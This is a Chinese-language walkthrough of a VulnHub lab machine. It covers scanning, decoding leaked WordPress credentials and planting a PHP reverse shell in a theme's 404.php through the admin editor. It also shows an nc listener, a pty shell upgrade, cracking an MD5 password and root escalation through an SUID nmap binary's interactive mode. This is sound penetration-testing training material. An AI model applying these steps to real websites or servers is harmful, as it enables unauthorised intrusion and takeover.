主機來源:www.vulnhub.com
準備工作
下載.ova文件,直接雙擊即可安裝成功。
設置連接方式爲NAT,攻擊機器使用kali,也設置爲NAT。
發現IP
剛安裝的虛擬機並不知道IP地址,使用netdiscover發現IP。
root@kali:~# netdiscover -i eth0 -r 10.0.3.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.3.1 00:50:56:c0:00:08 2 120 VMware, Inc.
10.0.3.2 00:50:56:ff:6c:8b 1 60 VMware, Inc.
10.0.3.142 00:0c:29:60:b9:7b 2 120 VMware, Inc.
10.0.3.254 00:50:56:e2:86:33 1 60 VMware, Inc.
發現IP爲10.0.3.142。
端口發現
使用nmap進行端口掃描。
root@kali:~# nmap -sV -p- -A 10.0.3.142
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 17:20 CST
Nmap scan report for 10.0.3.142
Host is up (0.00052s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 00:0C:29:60:B9:7B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.52 ms 10.0.3.142
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.25 seconds
目錄爆破
沒有什麼有價值的端口,就80端口看網頁把。
進行目錄爆破。
dirb http://10.0.3.142
發現的有用的目錄:
我們先訪問http://10.0.3.142/robots.txt
找到第一個key,我們查看一下。
key1:073403c8a58a1f80d943455fb30724b9
查看下一個目錄:http://10.0.3.142/license
一直往下拉,拉到最後,看到一個base64編碼的字符:ZWxsaW90OkVSMjgtMDY1Mgo=
解碼後:elliot:ER28-0652
猜測是某登錄界面的賬號密碼。
剛纔掃到的目錄中有wp-login,我們訪問。
剛好是一個登錄界面,我們使用剛纔發現的賬號密碼來登錄。
登錄成功,進入後臺。
Getshell
我們從後臺來找到getshell的方法。
選擇appearance->editor
我們就選擇右邊第一個404.php來寫入我們的腳本文件。
我們使用kali官方的shell:
shell:/usr/share/webshells/php/php-reverse-shell.php
將此處改爲自己的IP,並設置自己的端口。
將文件寫在404.php中。
點擊update file
上傳成功。
開啓監聽:nc -lp 4444
訪問任意一個不存在的頁面,shell被彈回。
快樂!
然後我們將簡單的shell轉換成爲完全交互式的TTY。
python -c 'import pty;pty.spawn("/bin/bash");'
切換用戶
發現一個robot用戶。
我們去看下robot用戶下有什麼文件。
看到了key2,但用戶是robot,我們沒有讀權限,同時發現password.raw-md5文件,我們打開看一眼。
解密這串字符。
然後我們切換到robot用戶。su robot,然後輸入密碼。
獲得key2
提權
接下來就一定是要提權到root了,版本的漏洞試過了沒有提權成功,我們試着用SUID進行提權。
運行以下命令來發現系統上運行的所有SUID可執行文件,具體來說,命令將嘗試查找具有root權限的SUID文件。
find / -user root -perm -4000 -print 2>/dev/null
我們發現了nmap,較舊版本的nmap(2.02-5.21)具有交互模式,允許用戶執行shell命令,由於nmap在使用root權限執行的二進制文件列表中,因此可以使用交互式控制檯來運行具有相同權限的shell。
nmap -v
版本是3.81,可以執行交互命令。
交互模式可以通過執行nmap參數“interactive”
提權成功。
key3完成。
快樂~